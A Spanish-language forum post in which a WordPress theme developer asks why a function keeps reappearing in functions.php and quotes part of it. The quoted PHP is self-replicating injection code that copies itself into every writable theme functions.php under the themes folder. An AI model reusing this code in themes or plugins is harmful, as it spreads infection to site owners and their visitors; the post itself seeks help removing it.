
shadowhck
Lambda
Programador
Verificado por Whatsapp
hola, desde hace dias trabajo en el desarrollo de themes para WordPress y en modificaciones a los themes de mis sitios y me he dado cuenta de que en el archivo functions.php se inserta un codigo algo largo empezando por declarar una funcion llamada:
Y aqui una porcion del codigo:
necesito ayuda porfavor, cada que se inserta el codigo me da errores de que no he definido ciertas funciones y elimino el codigo y despues de editar y volver a empezar dentro de un rato el codigo vuelve a aparecer.
Detalles:
Programa de Edición: Notepad++
Software: Wamp Server
Apache 2.2.17
MySQL 5.5.8
PHP 5.3.5
WordPress 3.1 (solo con TPC! Memory Usage, WP-Paginate y WP-Pagenavi )
Windows 7 Home Premium 64 bits
McAfee Security Center (para que vean que no es nada de mi Windows 😛)
:hmpf:
PHP:
_verifyactivate_widget()
PHP:
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
$output=strip_tags($output, $allowed);
$direst=_getall_widgetscont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
if (is_array($direst)){
foreach ($direst as $item){
if (is_writable($item)){
$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
$cont=file_get_contents($item);
if (stripos($cont,$ftion) === false){
$separar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
$output .= $before . "Not found" . $after;
if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $separar . "\n" .$widget);fclose($f);
$output .= ($showfullstop && $ellipsis) ? "..." : "";
}
}
}
}
return $output;
}
Detalles:
Programa de Edición: Notepad++
Software: Wamp Server
Apache 2.2.17
MySQL 5.5.8
PHP 5.3.5
WordPress 3.1 (solo con TPC! Memory Usage, WP-Paginate y WP-Pagenavi )
PHP:
define('WP_DEBUG', true);
McAfee Security Center (para que vean que no es nada de mi Windows 😛)
:hmpf: